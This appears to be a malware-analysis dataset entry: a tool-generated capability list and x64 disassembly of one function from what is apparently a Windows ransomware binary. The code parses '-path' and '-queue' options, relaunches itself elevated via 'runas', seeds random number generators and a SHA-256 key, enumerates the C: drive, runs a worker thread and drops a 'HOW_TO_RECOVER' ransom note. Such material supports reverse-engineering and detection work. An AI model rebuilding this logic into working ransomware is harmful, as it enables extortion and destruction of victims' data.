Function at 0x140007648
Capabilities:
Accept command line arguments
Check if file exists
Create new key via cryptacquirecontext
Create process on windows
Create thread
Encode data using xor
Generate random numbers using a mersenne twister
Generate random numbers via winapi
Hash data using sha256
Terminate thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x308]
sub rsp, 0x3e0
mov rax, qword [0x14005a040]
xor rax, rsp
mov qword [rbp + 0x2d0], rax
xor r15d, r15d
mov rsi, rcx
mov qword [rbp - 0x80], r15
mov dil, r15b
mov qword [rsp + 0x78], r15
mov byte [rsp + 0x30], r15b
mov dword [rbp - 0x78], r15d
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp - 0x78]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
or r12, 0xffffffffffffffff
lea r14d, [r15 + 1]
mov r13, rax
test rax, rax
je 0x140007a40
mov dword [rsp + 0x34], r14d
cmp dword [rbp - 0x78], r14d
jle 0x140007a31
lea r15d, [r14 + 1]
xor edi, edi
lea rbx, [rax + 8]
mov rcx, qword [rbx]
lea rdx, [0x140051914]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x1400076fa
cmp dword [rbp - 0x78], r15d
jl 0x1400076fa
lea rcx, [rbp - 0x80]
jmp 0x140007752
mov rcx, qword [rbx]
lea rdx, [0x140051920]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007733
cmp dword [rbp - 0x78], r15d
jl 0x140007733
mov rdx, qword [rbx + 8]
lea r8, [0x14005191c]
lea rcx, [rsp + 0x78]
call fcn.1400269e8
mov byte [rsp + 0x30], 1
jmp 0x1400077ec
mov rcx, qword [rbx]
lea rdx, [0x140051928]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007767
cmp dword [rbp - 0x78], r15d
jl 0x140007767
lea rcx, [rsp + 0x78]
mov rdx, qword [rbx + 8]
lea r8, [0x14005191c]
call fcn.1400269e8
jmp 0x1400077ec
mov rcx, qword [rbx]
lea rdx, str._path
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x1400077c9
cmp dword [rbp - 0x78], r15d
jl 0x1400077c9
mov rax, qword [rsi + 8]
lea r8, [rbx + 8]
cmp rax, qword [rsi + 0x10]
je 0x1400077bc
mov rdx, qword [r8]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov r8, r12
mov qword [rax + 0x18], rdi
inc r8
cmp word [rdx + r8*2], di
jne 0x1400077a3
mov rcx, rax
call fcn.14000451c
add qword [rsi + 8], 0x20
jmp 0x1400077ec
mov rdx, rax
mov rcx, rsi
call fcn.14000aa48
jmp 0x1400077ec
mov rcx, qword [rbx]
lea rdx, str._queue
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x1400077ec
cmp dword [rbp - 0x78], r15d
jl 0x1400077ec
mov rcx, qword [rbx + 8]
call fcn.140027398
mov rcx, qword [rbx]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x140007c8c
and qword [rsp + 0x70], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x70]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000784f
mov rcx, qword [rsp + 0x70]
lea rax, [rbp - 0x50]
mov r9d, 4
mov dword [rbp - 0x50], 4
lea r8, [rbp - 0x4c]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne edi, dword [rbp - 0x4c]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14000785f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x1400079c9
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0xf8
call fcn.14003c460
lea rcx, [rbp + 0x40]
call fcn.140008f24
lea r14d, [rdi + 1]
cmp dword [rbp - 0x78], r14d
jle 0x1400078bf
lea rdi, [r13 + 8]
lea rcx, [rbp + 0x50]
call fcn.140009914
mov rdx, qword [rdi]
mov rcx, rax
call fcn.140009c00
mov rcx, rax
lea rdx, [0x1400519a4]
call fcn.140009c00
inc r14d
lea rdi, [rdi + 8]
cmp r14d, dword [rbp - 0x78]
jl 0x14000788f
mov eax, dword [rbp + 0xc8]
xor edi, edi
xorps xmm0, xmm0
mov qword [rbp - 0x60], rdi
and al, 0x22
movups xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x70], di
lea r10d, [rdi + 7]
mov qword [rbp - 0x58], r10
movups xmmword [rsp + 0x58], xmm0
cmp al, 2
je 0x140007916
mov rax, qword [rbp + 0x98]
mov r8, qword [rax]
test r8, r8
je 0x140007916
cmp r8, qword [rbp + 0xc0]
mov rax, qword [rbp + 0x78]
cmovb r8, qword [rbp + 0xc0]
mov rdx, qword [rax]
sub r8, rdx
sar r8, 1
jmp 0x140007954
test byte [rbp + 0xc8], 4
jne 0x14000794a
mov rax, qword [rbp + 0x90]
mov rcx, qword [rax]
test rcx, rcx
je 0x14000794a
mov rax, qword [rbp + 0x70]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xa8]
movsxd r8, dword [rax]
add r8, r8
sub r8, rdx
add r8, rcx
jmp 0x140007911
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
test rdx, rdx
je 0x140007966
lea rcx, [rbp - 0x70]
call fcn.1400097bc
mov r10, qword [rbp - 0x58]
mov r8, qword [r13]
lea r9, [rbp - 0x70]
cmp r10, 7
mov dword [rsp + 0x28], 5
lea rdx, str.runas
mov qword [rsp + 0x20], rdi
cmova r9, qword [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp - 0x70]
call fcn.14000443c
lea rcx, [rbp + 0xd8]
call fcn.140008e40
lea rax, vtable.std::ios_base.0
lea rcx, [rbp + 0xd8]
mov qword [rbp + 0xd8], rax
call fcn.14001dbe8
mov r14d, dword [rsp + 0x34]
jmp 0x1400079cb
xor edi, edi
mov rax, qword [rsi + 8]
cmp rax, qword [rsi + 0x10]
je 0x140007a02
mov rdx, qword [rbx]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov r8, r12
mov qword [rax + 0x18], rdi
inc r8
cmp word [rdx + r8*2], di
jne 0x1400079e9
mov rcx, rax
call fcn.14000451c
add qword [rsi + 8], 0x20
jmp 0x140007a10
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.14000aa48
inc r14d
inc r15d
add rbx, 8
mov dword [rsp + 0x34], r14d
cmp r14d, dword [rbp - 0x78]
jl 0x1400076da
mov dil, byte [rsp + 0x30]
xor r15d, r15d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r14d, 1
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
imul ecx, ebx
rdtsc
shl rdx, 0x20
mov r9d, r14d
or rax, rdx
mov dword [rsp + 0x20], r15d
imul eax, dword [rbp - 0x40]
xor r8d, r8d
xor edx, edx
imul eax, ecx
lea rcx, [rbp - 0x48]
mov dword [rbp - 0x74], eax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140007abf
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x140007ade
mov r9d, r14d
mov dword [rsp + 0x20], 8
xor r8d, r8d
lea rcx, [rbp - 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140007ade
mov rcx, qword [rbp - 0x48]
lea r8, [rbp - 0x74]
mov edx, 4
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rbp - 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [rbp - 0x74]
lea r11, [0x14005d690]
mov dword [0x14005d690], eax
mov edx, r14d
mov eax, r14d
mov r8d, r14d
mov r9d, r14d
mov r10d, r14d
cdqe
mov ecx, dword [r11 + rax*4 - 4]
shr ecx, 0x1e
xor ecx, dword [r11 + rax*4 - 4]
movsxd rax, r8d
imul ecx, ecx, 0x6c078965
add ecx, edx
lea edx, [r9 + 1]
mov dword [r11 + rax*4], ecx
mov r8d, edx
movsxd rax, r10d
mov r9d, edx
mov dword [0x14005e050], edx
mov r10d, edx
mov dword [r11 + rax*4], ecx
mov eax, edx
cmp edx, 0x270
jl 0x140007afd
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
movups xmm1, xmmword [0x14005acb8]
xor eax, eax
mov byte [rsp + 0x38], 9
xorps xmm0, xmm0
mov qword [rsp + 0x49], rax
movups xmmword [rsp + 0x39], xmm0
lea r8, [rsp + 0x38]
mov dword [rsp + 0x51], eax
movups xmm0, xmmword [0x14005aca8]
lea rdx, [rbp + 0x290]
mov word [rsp + 0x55], ax
lea rcx, [0x14005ce60]
mov byte [rsp + 0x57], al
movups xmmword [rbp + 0x290], xmm0
movups xmmword [rbp + 0x2a0], xmm1
call fcn.1400032a0
lea r8, [0x14005acd0]
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x2b0]
call fcn.1400032a0
movups xmm0, xmmword [rbp + 0x2b0]
mov r9d, 0x20
mov qword [rbp + 0x30], 0x20
movups xmm1, xmmword [rbp + 0x2c0]
and r9d, 0x3f
mov dword [rbp + 0x10], 0x6a09e667
mov ecx, r9d
mov dword [rbp + 0x14], 0xbb67ae85
not ecx
mov dword [rbp + 0x18], 0x3c6ef372
and ecx, 3
mov dword [rbp + 0x1c], 0xa54ff53a
lea r8d, [r9 + 3]
shl ecx, 3
shr r8d, 2
mov dword [rbp + 0x20], 0x510e527f
mov dword [rbp + 0x24], 0x9b05688c
mov dword [rbp + 0x28], 0x1f83d9ab
mov dword [rbp + 0x2c], 0x5be0cd19
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x20], xmm1
test r8d, r8d
je 0x140007c47
lea rdx, [rbp - 0x30]
lea rdx, [rdx + r8*4]
lea rdx, [rdx - 4]
mov eax, dword [rdx]
bswap eax
mov dword [rdx], eax
add r8d, 0xffffffff
jne 0x140007c37
mov r8d, r9d
mov edx, 0xffffff80
shr r8, 2
mov eax, 0x80
shl edx, cl
mov ebx, 0xe
shl eax, cl
and edx, dword [rbp + r8*4 - 0x30]
or edx, eax
mov dword [rbp + r8*4 - 0x30], edx
cmp r9d, 0x38
jae 0x140007d00
shr r9d, 2
add r9d, r14d
cmp r9d, ebx
jae 0x140007d38
jmp 0x140007d1c
xorps xmm0, xmm0
lea rdx, str.File_not_found_OR_Invalid_argument
xorps xmm1, xmm1
lea rcx, [rbp - 0x70]
mov r8d, 0x23
movups xmmword [rbp - 0x70], xmm0
movdqu xmmword [rbp - 0x60], xmm1
call fcn.14000451c
movsxd rax, r14d
mov rdx, qword [r13 + rax*8]
inc r12
cmp word [rdx + r12*2], di
jne 0x140007cb9
mov r8, r12
lea rcx, [rbp - 0x70]
call fcn.1400044a0
cmp qword [rbp - 0x58], 7
lea rdx, [rbp - 0x70]
mov r9d, 0x10
lea r8, str.Error
cmova rdx, qword [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rbp - 0x70]
call fcn.14000443c
jmp 0x140007e5b
mov eax, dword [rbp + 0xc]
cmp r9d, 0x3c
sbb ecx, ecx
and ecx, eax
xor eax, ecx
lea rcx, [rbp - 0x30]
mov dword [rbp + 0xc], eax
call fcn.140003aa8
mov r9d, r15d
mov eax, r9d
lea rcx, [rbp - 0x30]
sub ebx, r9d
xor edx, edx
mov r8d, ebx
shl r8, 2
lea rcx, [rcx + rax*4]
call fcn.14003c460
mov edx, dword [rbp + 0x30]
mov ecx, edx
mov eax, dword [rbp + 0x34]
shr ecx, 0x1d
shl eax, 3
or ecx, eax
lea eax, [rdx*8]
mov dword [rbp + 8], ecx
lea rcx, [rbp - 0x30]
mov dword [rbp + 0xc], eax
call fcn.140003aa8
mov edx, r15d
lea r9, [0x14005ce38]
mov r8, r15
mov rax, r8
mov ecx, edx
and eax, 0xf
not ecx
and ecx, 3
add edx, r14d
shl ecx, 3
mov dword [rbp + rax*4 - 0x30], r15d
mov rax, r8
shr rax, 2
add r8, r14
mov eax, dword [rbp + rax*4 + 0x10]
shr eax, cl
mov byte [r9], al
add r9, r14
cmp edx, 0x20
jb 0x140007d6b
call fcn.14000ba24
mov eax, dword [0x14005acc8]
lea r8, [rbp + 0x40]
mov dword [rsp + 0x28], eax
lea rcx, str.C:
xor r9d, r9d
mov qword [rsp + 0x20], r15
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rbx, rax
cmp rax, r12
jne 0x140007de4
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x140007de4
mov dword [0x14005acc8], r15d
jmp 0x140007ded
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r8, [0x14005d1e8]
call fcn.14000562c
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x1400075b4]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, qword [rsp + 0x78]
mov r9, rsi
mov rcx, qword [rbp - 0x80]
mov r8b, dil
mov rbx, rax
call fcn.140006430
lea rcx, str.C:HOW_TO_RECOVER___.TXT
call fcn.140005940
xorps xmm0, xmm0
xor edx, edx
mov rcx, rbx
movups xmmword [0x14005ce38], xmm0
movups xmmword [0x14005ce48], xmm0
call qword [sym.imp.KERNEL32.dll_TerminateThread]
call fcn.140006ffc
mov rcx, rsi
call fcn.1400095a8
mov rcx, qword [rbp + 0x2d0]
xor rcx, rsp
call fcn.14001c440
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret